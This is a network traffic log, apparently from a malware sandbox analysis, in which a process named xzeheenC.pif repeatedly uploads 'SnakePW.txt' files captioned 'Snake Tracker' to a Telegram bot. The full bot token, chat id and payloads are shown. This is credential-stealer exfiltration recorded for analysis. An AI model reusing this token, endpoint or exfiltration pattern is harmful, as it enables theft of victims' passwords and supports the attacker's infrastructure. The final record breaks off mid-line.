Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	50039	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:29 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd24f09b604f03 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:29 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 34 66 30 39 62 36 30 34 66 30 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd24f09b604f03Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:30 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:30 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:30 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 36 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 31 30 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418961,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535110,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	50044	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:31 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd22c3003a5e58 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:31 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 32 63 33 30 30 33 61 35 65 35 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd22c3003a5e58Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:32 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:31 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:32 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 36 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 31 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418964,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535111,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	50045	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:31 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd22efb27445d5 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:31 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 32 65 66 62 32 37 34 34 35 64 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd22efb27445d5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:32 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:32 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:32 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 36 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 31 32 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418966,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535112,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	50046	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:31 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2587cc98b653 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:31 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 35 38 37 63 63 39 38 62 36 35 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2587cc98b653Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:32 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:32 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:32 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 36 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 31 32 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418967,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535112,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	50049	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:33 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd22ff41348b47 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:33 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 32 66 66 34 31 33 34 38 62 34 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd22ff41348b47Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:34 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:34 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:34 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 37 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 31 34 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418970,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535114,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	50052	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:33 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd232b76f6085e Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:33 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 33 32 62 37 36 66 36 30 38 35 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd232b76f6085eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:34 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:34 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:34 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 37 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 31 34 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418971,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535114,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	50053	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:33 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd26047d4600f9 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:33 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 36 30 34 37 64 34 36 30 30 66 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd26047d4600f9Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:34 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:34 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:34 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 37 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 31 34 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418973,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535114,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	50057	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:35 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2347cf9f5e67 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:35 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 33 34 37 63 66 39 66 35 65 36 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data 